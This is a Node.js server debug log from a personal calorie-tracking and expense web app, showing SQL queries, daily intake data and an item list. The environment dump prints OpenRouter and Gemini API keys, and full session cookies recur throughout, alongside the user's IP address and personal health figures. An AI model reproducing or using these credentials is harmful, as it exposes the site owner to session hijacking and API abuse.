    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-21T04:00:56.592Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T04:00:56.592Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-21T04:00:56.593Z server-connect:app Executing action step identify
2025-12-21T04:00:56.593Z server-connect:app options: { provider: 'security' }
2025-12-21T04:00:56.593Z server-connect:output identity: 1
2025-12-21T04:00:56.593Z server-connect:app Executing action step restrict
2025-12-21T04:00:56.593Z server-connect:app options: { provider: 'security' }
2025-12-21T04:00:56.593Z server-connect:output restrict: undefined
2025-12-21T04:00:56.593Z server-connect:app Executing action step single
2025-12-21T04:00:56.593Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T04:00:56.596Z server-connect:app Executing action step identify
2025-12-21T04:00:56.596Z server-connect:app options: { provider: 'security' }
2025-12-21T04:00:56.596Z server-connect:output identity: 1
2025-12-21T04:00:56.596Z server-connect:app Executing action step restrict
2025-12-21T04:00:56.596Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T04:00:56.596Z server-connect:output restrict: undefined
2025-12-21T04:00:56.597Z server-connect:app Executing action step single
2025-12-21T04:00:56.597Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-21T04:00:56.598Z server-connect:output summary: undefined
2025-12-21T04:00:56.600Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-21T04:00:56.600Z server-connect:app Executing action step select
2025-12-21T04:00:56.600Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-21T04:00:56.603Z server-connect:output item_list: []
2025-12-21T04:00:56.605Z server-connect:app Executing action step setvalue
2025-12-21T04:00:56.605Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-21T04:00:56.605Z server-connect:output var_total: 0
2025-12-21T04:00:56.605Z server-connect:app Executing action step setvalue
2025-12-21T04:00:56.605Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-21T04:00:56.605Z server-connect:output var_consumed: 0
2025-12-21T04:00:56.605Z server-connect:app Executing action step setvalue
2025-12-21T04:00:56.605Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-21T04:00:56.605Z server-connect:output var_deficit: 2400
2025-12-21T04:00:56.606Z server-connect:app Executing action step custom
2025-12-21T04:00:56.606Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-21T04:00:56.608Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  }
]
2025-12-21T04:00:57.485Z server-connect:app Executing action step identify
2025-12-21T04:00:57.485Z server-connect:app options: { provider: 'security' }
2025-12-21T04:00:57.485Z server-connect:output identity: 1
2025-12-21T04:01:07.033Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-21T04:01:07.033Z server-connect:app Executing action step identify
2025-12-21T04:01:07.034Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:07.034Z server-connect:output identity: 1
2025-12-21T04:01:07.034Z server-connect:app Executing action step restrict
2025-12-21T04:01:07.034Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T04:01:07.034Z server-connect:output restrict: undefined
2025-12-21T04:01:08.347Z server-connect:app Executing action step processWithGemini
2025-12-21T04:01:08.348Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-21T04:01:10.560Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Aalo Matar Ghughri',
      quantity: '1 serving',
      calories_consumed: 250,
      total_calories: 250,
      protein: 8,
      carbs: 35,
      fat: 10,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "While potatoes and peas offer some nutrients, traditional preparations can be high in oil. For muscle development, focusing on higher protein and lower fat options might be more beneficial, especially if consumed frequently. However, in moderation, it's an acceptable dish."
    }
  ],
  total_macros: {
    protein: { value: 8, unit: 'g' },
    carbs: { value: 35, unit: 'g' },
    fat: { value: 10, unit: 'g' }
  }
}
2025-12-21T04:01:45.282Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-21T04:01:45.283Z server-connect:app Executing action step identify
2025-12-21T04:01:45.283Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:45.283Z server-connect:output identity: 1
2025-12-21T04:01:45.283Z server-connect:app Executing action step restrict
2025-12-21T04:01:45.283Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T04:01:45.284Z server-connect:output restrict: undefined
2025-12-21T04:01:45.284Z server-connect:app Executing action step condition
2025-12-21T04:01:45.284Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-21T04:01:45.284Z server-connect:app Executing action step repeat
2025-12-21T04:01:45.285Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-21T04:01:45.285Z server-connect:app Executing action step insert
2025-12-21T04:01:45.285Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-21T04:01:45.286Z server-connect:output calories: { affected: 1, identity: 473 }
2025-12-21T04:01:45.286Z server-connect:output repeat: [ {} ]
2025-12-21T04:01:45.286Z server-connect:output condition: undefined
2025-12-21T04:01:45.622Z server-connect:router Serving templateView /calorie-tracker
2025-12-21T04:01:45.622Z server-connect:app Executing action step identify
2025-12-21T04:01:45.622Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:45.622Z server-connect:output identity: 1
2025-12-21T04:01:45.622Z server-connect:app Executing action step restrict
2025-12-21T04:01:45.623Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T04:01:45.623Z server-connect:output restrict: undefined
2025-12-21T04:01:45.623Z server-connect:router Render template layouts/main
2025-12-21T04:01:45.624Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-21T04:01:45.872Z server-connect:app Executing action step identify
2025-12-21T04:01:45.872Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:45.872Z server-connect:output identity: 1
2025-12-21T04:01:46.196Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-21T04:01:46.198Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-21T04:01:46.199Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-21T04:01:46.199Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-21T04:01:46.200Z server-connect:app Executing action step identify
2025-12-21T04:01:46.200Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:46.200Z server-connect:output identity: 1
2025-12-21T04:01:46.200Z server-connect:app Executing action step restrict
2025-12-21T04:01:46.200Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T04:01:46.200Z server-connect:app Executing action step identify
2025-12-21T04:01:46.200Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:46.200Z server-connect:output identity: 1
2025-12-21T04:01:46.201Z server-connect:app Executing action step restrict
2025-12-21T04:01:46.201Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T04:01:46.201Z server-connect:app Executing action step identify
2025-12-21T04:01:46.201Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:46.201Z server-connect:output identity: 1
2025-12-21T04:01:46.201Z server-connect:app Executing action step restrict
2025-12-21T04:01:46.201Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T04:01:46.203Z server-connect:output restrict: undefined
2025-12-21T04:01:46.203Z server-connect:app Executing action step select
2025-12-21T04:01:46.203Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-21T04:01:46.203Z server-connect:app Executing action step identify
2025-12-21T04:01:46.204Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:46.204Z server-connect:output identity: 1
2025-12-21T04:01:46.204Z server-connect:app Executing action step restrict
2025-12-21T04:01:46.204Z server-connect:app options: { provider: 'security' }
2025-12-21T04:01:46.204Z server-connect:output restrict: undefined
2025-12-21T04:01:46.204Z server-connect:app Executing action step single
2025-12-21T04:01:46.204Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-21T04:01:46.206Z server-connect:output restrict: undefined
2025-12-21T04:01:46.206Z server-connect:app Executing action step single
2025-12-21T04:01:46.206Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-21T04:01:46.207Z server-connect:output restrict: undefined
2025-12-21T04:01:46.207Z server-connect:app Executing action step single
2025-12-21T04:01:46.207Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-21T04:01:46.210Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
